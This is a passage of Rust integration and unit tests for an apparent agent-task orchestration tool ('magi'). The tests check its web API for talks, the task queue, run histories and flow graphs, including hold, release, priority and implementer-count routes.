11359        let f = Fixture::start().await;
11360        let id = seed_talk(&f, "20260904-014455-cd34", "open");
11361
11362        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11363        assert_eq!(closed.status, 200, "{}", closed.body);
11364        assert_eq!(closed.json()["status"], "closed");
11365
11366        // Idempotent: closing an already-closed talk is not an error.
11367        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
11368        assert_eq!(closed_again.status, 200);
11369        assert_eq!(closed_again.json()["status"], "closed");
11370
11371        let said = f
11372            .post(
11373                &format!("/api/talks/{id}/say"),
11374                Some(r#"{"text":"too late"}"#),
11375            )
11376            .await;
11377        assert_eq!(said.status, 409, "{}", said.body);
11378    }
11379
11380    #[tokio::test]
11381    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
11382        let (_tmp, _repo, f) = talk_fixture().await;
11383        let id = f.post("/api/talks", None).await.json()["id"]
11384            .as_str()
11385            .expect("id")
11386            .to_owned();
11387        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11388        assert_eq!(closed.status, 200, "{}", closed.body);
11389
11390        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
11391        assert_eq!(reopened.status, 200, "{}", reopened.body);
11392        assert_eq!(reopened.json()["status"], "open");
11393
11394        // Idempotent: reopening an already-open talk is not an error.
11395        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
11396        assert_eq!(reopened_again.status, 200);
11397        assert_eq!(reopened_again.json()["status"], "open");
11398
11399        let said = f
11400            .post(
11401                &format!("/api/talks/{id}/say"),
11402                Some(r#"{"text":"still there?"}"#),
11403            )
11404            .await;
11405        assert_eq!(
11406            said.status, 202,
11407            "a reopened talk accepts turns again: {}",
11408            said.body
11409        );
11410    }
11411
11412    #[tokio::test]
11413    async fn talk_reopen_on_an_unknown_id_is_404() {
11414        let f = Fixture::start().await;
11415        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
11416        assert_eq!(res.status, 404, "{}", res.body);
11417    }
11418
11419    #[tokio::test]
11420    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
11421        let f = Fixture::start().await;
11422        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
11423
11424        let deleted = f.delete(&format!("/api/talks/{id}")).await;
11425        assert_eq!(deleted.status, 204, "{}", deleted.body);
11426
11427        let after = f.get(&format!("/api/talks/{id}")).await;
11428        assert_eq!(after.status, 404, "{}", after.body);
11429
11430        let listed = f.get("/api/talks").await.json();
11431        assert!(
11432            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
11433            "a deleted talk must not linger in the list: {listed}"
11434        );
11435    }
11436
11437    #[tokio::test]
11438    async fn talk_delete_on_an_unknown_id_is_404() {
11439        let f = Fixture::start().await;
11440        let res = f.delete("/api/talks/nonexistent-id").await;
11441        assert_eq!(res.status, 404, "{}", res.body);
11442    }
11443
11444    /// A task's page lists every run it ever had, in order, and says what kind
11445    /// of attempt each was - including a resume, which re-pushes the same run
11446    /// id, and a run whose record this build cannot read.
11447    #[tokio::test]
11448    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
11449        let f = Fixture::start().await;
11450        let (a, b, gone) = (
11451            "20260902-140501-aaaa",
11452            "20260902-140502-bbbb",
11453            "20260902-140503-cccc",
11454        );
11455        write_run(&f.runs(), a, RunStatus::Stalled);
11456        let mut review = RunState::new(
11457            PathBuf::from("/repo/magi"),
11458            "main".to_owned(),
11459            "0123456789abcdef".to_owned(),
11460            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
11461                .to_owned(),
11462            Config::default(),
11463        );
11464        review.id = b.to_owned();
11465        review.status = RunStatus::Merged;
11466        write_state(&f.runs(), &review);
11467
11468        let mut task = Task::new(
11469            "retry".to_owned(),
11470            "Do the thing".to_owned(),
11471            PathBuf::from("/repo/magi"),
11472            Source::Human,
11473        );
11474        task.start(a.to_owned());
11475        task.stall("quota");
11476        task.start(a.to_owned());
11477        task.start(b.to_owned());
11478        task.start(gone.to_owned());
11479        f.queue().put(&mut task).expect("file the task");
11480
11481        let res = f.get(&format!("/api/queue/{}", task.id)).await;
11482        assert_eq!(res.status, 200, "{}", res.body);
11483        let v = res.json();
11484        let h = v["history"].as_array().expect("history");
11485        assert_eq!(h.len(), 4, "{v}");
11486        assert_eq!(h[0]["kind"], "competition");
11487        assert_eq!(h[0]["status"], "stalled");
11488        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
11489        assert_eq!(h[1]["kind"], "resume", "{v}");
11490        assert!(
11491            h[0]["outcome"]
11492                .as_str()
11493                .unwrap()
11494                .contains("unknown. Pass #2"),
11495            "an earlier pass of a resumed run must not claim the final outcome: {v}"
11496        );
11497        assert!(
11498            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
11499            "{v}"
11500        );
11501        assert!(
11502            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
11503            "an unrecorded cause must not be narrated as an operator park: {v}"
11504        );
11505        assert_eq!(h[2]["kind"], "review");
11506        assert!(
11507            h[2]["description"]
11508                .as_str()
11509                .unwrap()
11510                .contains("magi/aaaa/A")
11511        );
11512        assert_eq!(h[2]["status"], "merged");
11513        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
11514        assert_eq!(v["runs_unreadable"], 1);
11515        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
11516        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
11517        assert_eq!(nodes[4]["note"], "unreadable");
11518        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
11519        assert_eq!(v["instruction"], "Do the thing");
11520        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
11521
11522        // The run's own page links back to the task.
11523        let run = f.get(&format!("/api/runs/{a}")).await.json();
11524        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
11525
11526        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
11527    }
11528
11529    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
11530        let mut s = RunState::new(
11531            PathBuf::from("/repo/magi"),
11532            "main".to_owned(),
11533            "0123456789abcdef".to_owned(),
11534            "Do it".to_owned(),
11535            Config::default(),
11536        );
11537        s.status = status;
11538        edit(&mut s);
11539        s
11540    }
11541
11542    fn flow_task(runs: &[&str]) -> Task {
11543        let mut t = Task::new(
11544            "t".to_owned(),
11545            "Do it".to_owned(),
11546            PathBuf::from("/repo/magi"),
11547            Source::Human,
11548        );
11549        for r in runs {
11550            t.start((*r).to_owned());
11551        }
11552        t
11553    }
11554
11555    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
11556        let h = task_history(task, |id| {
11557            states
11558                .iter()
11559                .find(|(i, _)| *i == id)
11560                .and_then(|(_, s)| s.clone())
11561        });
11562        task_flow(task, &h, 5, None)
11563    }
11564
11565    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
11566        crate::queue::FollowUp {
11567            run: "20260901-000000-aaaa".to_owned(),
11568            origin_task: origin_task.map(str::to_owned),
11569            pr: "https://example.com/o/r/pull/1".to_owned(),
11570            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
11571                .map(str::to_owned)
11572                .to_vec(),
11573            generation: 1,
11574        }
11575    }
11576
11577    fn parent_task() -> Task {
11578        let mut p = flow_task(&[]);
11579        p.title = "Parent title".to_owned();
11580        p.status = TaskStatus::Done;
11581        p
11582    }
11583
11584    #[test]
11585    fn flow_opens_with_the_parent_task_of_a_followup() {
11586        let p = parent_task();
11587        let pid = p.id.clone();
11588        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
11589        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11590        let n = &f.nodes[0];
11591        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
11592        assert_eq!(
11593            n.label,
11594            format!("Follow-up of {}", crate::queue::short(&pid))
11595        );
11596        assert_eq!(n.detail.as_deref(), Some("Parent title"));
11597        assert_eq!(n.status, Some("done"));
11598        assert_eq!(n.status_of, "task");
11599        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
11600        assert_eq!(f.nodes[1].key, "start");
11601        assert_eq!(f.edges[0].from, "origin");
11602        assert_eq!(
11603            f.edges[0].label,
11604            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
11605        );
11606    }
11607
11608    #[test]
11609    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
11610        let o = followup_origin(
11611            &fu(Some("gone")),
11612            |_| None,
11613            |_| {
11614                Some(RunState::new(
11615                    std::path::PathBuf::from("."),
11616                    "main".to_owned(),
11617                    "0".to_owned(),
11618                    "t".to_owned(),
11619                    crate::config::Config::default(),
11620                ))
11621            },
11622        );
11623        assert!(o.parent.is_none());
11624        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11625        let n = &f.nodes[0];
11626        assert_eq!(n.status_of, "run");
11627        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
11628        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
11629    }
11630
11631    #[test]
11632    fn flow_followup_with_nothing_readable_has_no_link() {
11633        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
11634        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11635        let n = &f.nodes[0];
11636        assert_eq!(n.href, None);
11637        assert_eq!(n.note, Some("unreadable"));
11638        assert!(!n.readable);
11639    }
11640
11641    #[test]
11642    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
11643        let o = followup_origin(&fu(None), |_| None, |_| None);
11644        let mut t = flow_task(&[]);
11645        t.origin_chat = Some("c1".to_owned());
11646        let f = task_flow(&t, &[], 5, Some(&o));
11647        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
11648        t.source = Source::Agent {
11649            run: "c1".to_owned(),
11650            node: crate::queue::CHAT_NODE.to_owned(),
11651        };
11652        let f = task_flow(&t, &[], 5, Some(&o));
11653        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
11654        assert_eq!(
11655            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
11656            ("chat", "origin")
11657        );
11658    }
11659
11660    #[test]
11661    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
11662        let mut p = parent_task();
11663        p.id = "a b/c".to_owned();
11664        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
11665        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
11666    }
11667
11668    #[test]
11669    fn flow_opens_with_the_chat_that_queued_the_task() {
11670        let mut t = flow_task(&[]);
11671        t.source = Source::Agent {
11672            run: "a b/c".to_owned(),
11673            node: crate::queue::CHAT_NODE.to_owned(),
11674        };
11675        let f = flow_for(&t, &[]);
11676        assert_eq!(f.nodes[0].key, "chat");
11677        assert_eq!(f.nodes[0].kind, "chat");
11678        assert_eq!(
11679            f.nodes[0].label,
11680            format!("Chat {}", crate::queue::short("a b/c"))
11681        );
11682        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
11683        assert_eq!(f.nodes[1].key, "start");
11684        assert_eq!(
11685            f.edges[0],
11686            FlowEdge {
11687                from: "chat".to_owned(),
11688                to: "start".to_owned(),
11689                label: "queued from chat".to_owned(),
11690                attempt: AttemptCost::None,
11691            }
11692        );
11693    }
11694
11695    #[test]
11696    fn flow_has_no_chat_box_for_other_sources() {
11697        for source in [
11698            Source::Human,
11699            Source::Issue {
11700                number: 3,
11701                repo: "o/r".to_owned(),
11702            },
11703            Source::Agent {
11704                run: "20260904-014455-ab12".to_owned(),
11705                node: "implement".to_owned(),
11706            },
11707        ] {
11708            let mut t = flow_task(&[]);
11709            t.source = source;
11710            let f = flow_for(&t, &[]);
11711            assert_eq!(f.nodes[0].key, "start");
11712            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
11713            assert!(f.edges.iter().all(|e| e.from != "chat"));
11714        }
11715    }
11716
11717    const FA: &str = "20260902-140501-aaaa";
11718    const FB: &str = "20260902-140502-bbbb";
11719
11720    #[test]
11721    fn flow_follows_blocked_retry_merged_to_done() {
11722        let mut t = flow_task(&[FA, FB]);
11723        t.status = TaskStatus::Done;
11724        let f = flow_for(
11725            &t,
11726            &[
11727                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
11728                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
11729            ],
11730        );
11731        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
11732        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
11733        assert_eq!(f.edges.len(), 3);
11734        assert_eq!(f.edges[0].label, "claimed");
11735        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
11736        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
11737        assert_eq!(f.edges[2].label, "merged \u{2192} done");
11738        assert_eq!(
11739            f.nodes[2].href.as_deref(),
11740            Some("#/runs/20260902-140502-bbbb")
11741        );
11742        assert!(f.nodes[2].decided);
11743    }
11744
11745    #[test]
11746    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
11747        let quota = || {
11748            flow_run(RunStatus::Stalled, |s| {
11749                s.quota.push(crate::run::QuotaLoss {
11750                    seat: "judge-1".to_owned(),
11751                    node: "judge".to_owned(),
11752                    at: Timestamp::now(),
11753                    reset: None,
11754                })
11755            })
11756        };
11757        let mut t = flow_task(&[FA, FA]);
11758        t.status = TaskStatus::Queued;
11759        let f = flow_for(&t, &[(FA, Some(quota()))]);
11760        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
11761        assert_eq!(f.nodes[1].note, Some("interrupted"));
11762        assert_eq!(
11763            f.nodes[1].status, None,
11764            "no outcome copied onto an earlier pass"
11765        );
11766        assert_eq!(
11767            f.edges[1].attempt,
11768            AttemptCost::Unknown,
11769            "a resume does not prove the earlier pass was refunded"
11770        );
11771        assert!(f.edges[1].label.contains("resume the same run"));
11772        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
11773        assert_eq!(
11774            f.edges[2].label,
11775            "stalled after a resume, refund unknown \u{2192} queued"
11776        );
11777        assert!(!f.nodes[2].decided, "a stall is not a decision");
11778        assert_eq!(f.nodes[2].note, Some("no verdict"));
11779    }
11780
11781    #[test]
11782    fn flow_single_pass_quota_stall_is_refunded() {
11783        let t = flow_task(&[FA]);
11784        let f = flow_for(
11785            &t,
11786            &[(
11787                FA,
11788                Some(flow_run(RunStatus::Stalled, |s| {
11789                    s.quota.push(crate::run::QuotaLoss {
11790                        seat: "judge-1".to_owned(),
11791                        node: "judge".to_owned(),
11792                        at: Timestamp::now(),
11793                        reset: None,
11794                    })
11795                })),
11796            )],
11797        );
11798        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
11799    }
11800
11801    #[test]
11802    fn flow_parked_refunds_and_stall_without_quota_spends() {
11803        let mut t = flow_task(&[FA]);
11804        t.status = TaskStatus::Queued;
11805        let f = flow_for(
11806            &t,
11807            &[(
11808                FA,
11809                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
11810            )],
11811        );
11812        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
11813        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
11814        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
11815        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
11816        assert!(!f.nodes[1].decided);
11817    }
11818
11819    #[test]
11820    fn flow_keeps_an_unreadable_run_as_its_own_node() {
11821        let t = flow_task(&[FA, FB]);
11822        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
11823        assert_eq!(f.nodes[1].note, Some("unreadable"));
11824        assert!(!f.nodes[1].readable);
11825        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
11826        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
11827    }
11828
11829    #[test]
11830    fn flow_names_the_branch_of_a_review_only_run() {
11831        let t = flow_task(&[FA]);
11832        let f = flow_for(
11833            &t,
11834            &[(
11835                FA,
11836                Some(flow_run(RunStatus::Merged, |s| {
11837                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
11838                })),
11839            )],
11840        );
11841        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
11842        assert_eq!(
11843            f.nodes[1].detail.as_deref(),
11844            Some("review-only run of branch magi/x/A")
11845        );
11846    }
11847
11848    #[test]
11849    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
11850        let mut t = flow_task(&[FA]);
11851        t.status = TaskStatus::Held;
11852        let pr = crate::run::PrRecord {
11853            url: "https://example.test/pr/1".to_owned(),
11854            number: 1,
11855            state: "open".to_owned(),
11856            checks: "green".to_owned(),
11857            round: 0,
11858            rounds: 3,
11859            red_at_merge: Vec::new(),
11860        };
11861        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
11862        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
11863        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
11864        t.status = TaskStatus::Done;
11865        let f = flow_for(&t, &[(FA, Some(blocked))]);
11866        assert_eq!(f.edges[1].label, "closed by hand: task is done");
11867    }
11868
11869    #[test]
11870    fn flow_with_no_runs_goes_from_queued_to_queued() {
11871        let t = flow_task(&[]);
11872        let f = flow_for(&t, &[]);
11873        assert_eq!(f.nodes.len(), 2);
11874        assert_eq!(f.edges.len(), 1);
11875        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
11876        assert_eq!(f.edges[0].attempt, AttemptCost::None);
11877    }
11878
11879    /// A run parked mid-flight keeps a non-terminal status; the page must
11880    /// still say why it stopped and that the attempt came back.
11881    #[test]
11882    fn a_parked_non_terminal_run_is_explained_as_parked() {
11883        let mut s = RunState::new(
11884            PathBuf::from("/repo/magi"),
11885            "main".to_owned(),
11886            "0123456789abcdef".to_owned(),
11887            "Do it".to_owned(),
11888            Config::default(),
11889        );
11890        s.status = RunStatus::Implementing;
11891        s.parked = true;
11892        let task = Task::new(
11893            "t".to_owned(),
11894            "Do it".to_owned(),
11895            PathBuf::from("/repo/magi"),
11896            Source::Human,
11897        );
11898        let v = task_run_view(
11899            "20260902-140501-aaaa",
11900            Some(&s),
11901            RunSlot {
11902                n: 1,
11903                resumed: false,
11904                resumed_later: None,
11905                prior: None,
11906                last: true,
11907            },
11908            &task,
11909        );
11910        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
11911    }
11912
11913    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
11914        let mut s = flow_run(RunStatus::Implementing, edit);
11915        s.parked = false;
11916        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
11917        task_run_view(
11918            "20260902-140501-aaaa",
11919            Some(&s),
11920            RunSlot {
11921                n: 1,
11922                resumed: false,
11923                resumed_later: Some(2),
11924                prior: None,
11925                last: false,
11926            },
11927            &task,
11928        )
11929    }
11930
11931    #[test]
11932    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
11933        let v = earlier_pass_view(|_| {});
11934        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
11935        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
11936        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
11937        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
11938        assert_eq!(v.exit, RunExit::Interrupted);
11939        assert_eq!(v.attempt, AttemptCost::Unknown);
11940    }
11941
11942    #[test]
11943    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
11944        let v = earlier_pass_view(|s| {
11945            s.quota.push(crate::run::QuotaLoss {
11946                seat: "judge-1".to_owned(),
11947                node: "judge".to_owned(),
11948                at: Timestamp::now(),
11949                reset: None,
11950            });
11951        });
11952        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
11953        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
11954        assert_eq!(v.attempt, AttemptCost::Unknown);
11955    }
11956
11957    #[test]
11958    fn the_current_pass_states_its_recorded_cause_and_cost() {
11959        let slot = || RunSlot {
11960            n: 1,
11961            resumed: false,
11962            resumed_later: None,
11963            prior: None,
11964            last: true,
11965        };
11966        let task = flow_task(&["20260902-140501-aaaa"]);
11967        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
11968        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
11969        assert_eq!(
11970            (v.exit, v.attempt),
11971            (RunExit::Parked, AttemptCost::Refunded)
11972        );
11973        let spent = flow_run(RunStatus::Blocked, |_| {});
11974        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
11975        assert_eq!(v.attempt, AttemptCost::Spent);
11976        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
11977    }
11978
11979    #[tokio::test]
11980    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
11981        let f = Fixture::start().await;
11982        let queue = f.queue();
11983        let mut task = Task::new(
11984            "spent".to_owned(),
11985            "Try again".to_owned(),
11986            PathBuf::from("/repo/magi"),
11987            Source::Human,
11988        );
11989        task.start("20260902-140502-bbbb".to_owned());
11990        task.fail("agent gave up", 9);
11991        queue.put(&mut task).expect("file the task");
11992
11993        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
11994        assert_eq!(held.status, 200);
11995        assert_eq!(held.json()["status_str"], "held");
11996
11997        let released = f
11998            .post(&format!("/api/queue/{}/release", task.id), None)
11999            .await;
12000        assert_eq!(released.status, 200);
12001        assert_eq!(released.json()["status_str"], "queued");
12002        assert_eq!(
12003            released.json()["attempts"],
12004            0,
12005            "release is a real second chance, not an instant re-hold"
12006        );
12007        assert_eq!(
12008            queue.get(&task.id).expect("reload").status,
12009            TaskStatus::Queued,
12010            "the change is on disk, not only in the reply"
12011        );
12012        assert!(
12013            !f.home
12014                .path()
12015                .join("queue")
12016                .join(format!("{}.lock", task.id))
12017                .exists(),
12018            "the claim the mutation took is released again"
12019        );
12020    }
12021
12022    #[tokio::test]
12023    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
12024        let f = Fixture::start().await;
12025        let queue = f.queue();
12026        let mut task = Task::new(
12027            "busy".to_owned(),
12028            "Running right now".to_owned(),
12029            PathBuf::from("/repo/magi"),
12030            Source::Human,
12031        );
12032        queue.put(&mut task).expect("file the task");
12033        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
12034
12035        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
12036
12037        assert_eq!(res.status, 409);
12038        assert_eq!(
12039            queue.get(&task.id).expect("reload").status,
12040            TaskStatus::Queued,
12041            "the refused hold changed nothing"
12042        );
12043    }
12044
12045    #[tokio::test]
12046    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
12047        let f = Fixture::start().await;
12048        let queue = f.queue();
12049        let mut task = Task::new(
12050            "waiting on the migration".to_owned(),
12051            "Do the thing".to_owned(),
12052            PathBuf::from("/repo/magi"),
12053            Source::Human,
12054        );
12055        queue.put(&mut task).expect("file the task");
12056
12057        let held = f
12058            .post(
12059                &format!("/api/queue/{}/hold", task.id),
12060                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
12061            )
12062            .await;
12063        assert_eq!(held.status, 200, "{}", held.body);
12064        assert_eq!(held.json()["status_str"], "held");
12065        assert_eq!(
12066            held.json()["hold_reason"],
12067            "waiting for 20260101-000000-aaaa to land"
12068        );
12069
12070        let listed = f.get("/api/queue").await.json();
12071        assert_eq!(
12072            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
12073            "the card reads the reason off the same list route"
12074        );
12075
12076        // A hold with no body at all must keep working - most holds have no
12077        // reason to give.
12078        let mut plain = Task::new(
12079            "no reason given".to_owned(),
12080            "Do another thing".to_owned(),
12081            PathBuf::from("/repo/magi"),
12082            Source::Human,
12083        );
12084        queue.put(&mut plain).expect("file the task");
12085        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
12086        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
12087        assert!(held_plain.json()["hold_reason"].is_null());
12088
12089        let released = f
12090            .post(&format!("/api/queue/{}/release", task.id), None)
12091            .await;
12092        assert_eq!(released.status, 200);
12093        assert!(
12094            released.json()["hold_reason"].is_null(),
12095            "a release must clear the reason so the next hold does not inherit it"
12096        );
12097    }
12098
12099    #[tokio::test]
12100    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
12101        let f = Fixture::start().await;
12102        let queue = f.queue();
12103        let mut older = Task::new(
12104            "filed first".to_owned(),
12105            "x".to_owned(),
12106            PathBuf::from("/repo/magi"),
12107            Source::Human,
12108        );
12109        older.id = "20260101-000001-aaaa".to_owned();
12110        let mut newer = Task::new(
12111            "filed second".to_owned(),
12112            "x".to_owned(),
12113            PathBuf::from("/repo/magi"),
12114            Source::Human,
12115        );
12116        newer.id = "20260101-000002-bbbb".to_owned();
12117        queue.put(&mut older).expect("file older");
12118        queue.put(&mut newer).expect("file newer");
12119
12120        // Equal priority: the newer task leads, the same order the old
12121        // newest-first `list()` already gave every equal-priority queue.
12122        let before = f.get("/api/queue").await.json();
12123        assert_eq!(before[0]["id"], newer.id);
12124        assert_eq!(before[1]["id"], older.id);
12125
12126        // Raising the *older* task is the meaningful case: it can only lead
12127        // now because its priority says so, not because it happens to be
12128        // newest.
12129        let raised = f
12130            .post(
12131                &format!("/api/queue/{}/priority", older.id),
12132                Some(r#"{"priority":10}"#),
12133            )
12134            .await;
12135        assert_eq!(raised.status, 200, "{}", raised.body);
12136        assert_eq!(raised.json()["priority"], 10);
12137
12138        let after = f.get("/api/queue").await.json();
12139        let names: Vec<&str> = after
12140            .as_array()
12141            .unwrap()
12142            .iter()
12143            .map(|t| t["id"].as_str().unwrap())
12144            .collect();
12145        // Highest priority first, which is the order next_runnable and
12146        // `magi task list` both use - GET /api/queue must agree with it
12147        // immediately, not just once the loop claims the task.
12148        assert_eq!(names[0], older.id, "the raised task now sorts first");
12149    }
12150
12151    #[tokio::test]
12152    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
12153        let dir = TempDir::new().unwrap();
12154        let repo = dir.path().join("repo");
12155        std::fs::create_dir(&repo).unwrap();
12156        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
12157        let q = Queue::at(dir.path().join("queue"));
12158        let ui = Arc::new(Ui::new(
12159            q.clone(),
12160            Questions::at(dir.path().join("questions")),
12161            Talks::at(dir.path().join("talks")),
12162            dir.path().join("runs"),
12163            dir.path().to_path_buf(),
12164            repo.clone(),
12165        ));
12166        let mut t = Task::new(
12167            "seats".into(),
12168            "keep instruction".into(),
12169            repo,
12170            Source::Human,
12171        );
12172        t.runs.push("prior-run".into());
12173        t.hold_manual(Some("waiting".into()));
12174        q.put(&mut t).unwrap();
12175        let change = |count| {
12176            queue_implementers(
12177                State(ui.clone()),
12178                Path(t.id.clone()),
12179                Ok(Json(ImplementersBody {
12180                    implementers: count,
12181                })),
12182            )
12183        };
12184        for count in [2, 1, 2] {
12185            let response = change(count).await.unwrap();
12186            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
12187            let saved = q.get(&t.id).unwrap();
12188            assert_eq!(saved.implementers(), Some(usize::from(count)));
12189            assert_eq!(saved.runs, t.runs);
12190            assert_eq!(saved.instruction, t.instruction);
12191        }
12192        for count in [0, 4] {
12193            assert_eq!(
12194                change(count).await.err().unwrap().status,
12195                StatusCode::BAD_REQUEST
12196            );
12197        }
12198        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
12199        let claim = q.claim(&t.id).unwrap();
12200        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
12201        drop(claim);
12202        for status in [
12203            TaskStatus::Running,
12204            TaskStatus::Done,
12205            TaskStatus::Failed,
12206            TaskStatus::Blocked,
12207            TaskStatus::Parked,
12208        ] {
12209            let mut stored = q.get(&t.id).unwrap();
12210            stored.status = status;
12211            q.put(&mut stored).unwrap();
12212            assert_eq!(
12213                change(1).await.err().unwrap().status,
12214                StatusCode::BAD_REQUEST
12215            );
12216            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
12217        }
12218    }
12219
12220    #[tokio::test]
12221    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
12222        let f = Fixture::start().await;
12223        let queue = f.queue();
12224        let mut task = Task::new(
12225            "in flight".to_owned(),
12226            "x".to_owned(),
12227            PathBuf::from("/repo/magi"),
12228            Source::Human,
12229        );
12230        task.start("20260902-140502-bbbb".to_owned());
12231        queue.put(&mut task).expect("file the task");
12232
12233        let res = f
12234            .post(
12235                &format!("/api/queue/{}/priority", task.id),
12236                Some(r#"{"priority":9}"#),
12237            )
12238            .await;
12239        assert_eq!(res.status, 400, "{}", res.body);
12240        assert!(
12241            res.json()["error"]
12242                .as_str()
12243                .is_some_and(|e| e.contains("running")),
12244            "{}",
12245            res.body
12246        );
12247        assert_eq!(
12248            queue.get(&task.id).expect("reload").priority,
12249            0,
12250            "the refused write must not partially apply"
12251        );
12252    }
12253
12254    #[tokio::test]
12255    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
12256        let f = Fixture::start().await;
12257        let queue = f.queue();
12258        let mut task = Task::new(
12259            "old title".to_owned(),
12260            "old instruction".to_owned(),
12261            PathBuf::from("/repo/magi"),
12262            Source::Agent {
12263                run: "20260101-000000-beef".to_owned(),
12264                node: "implement".to_owned(),
12265            },
12266        );
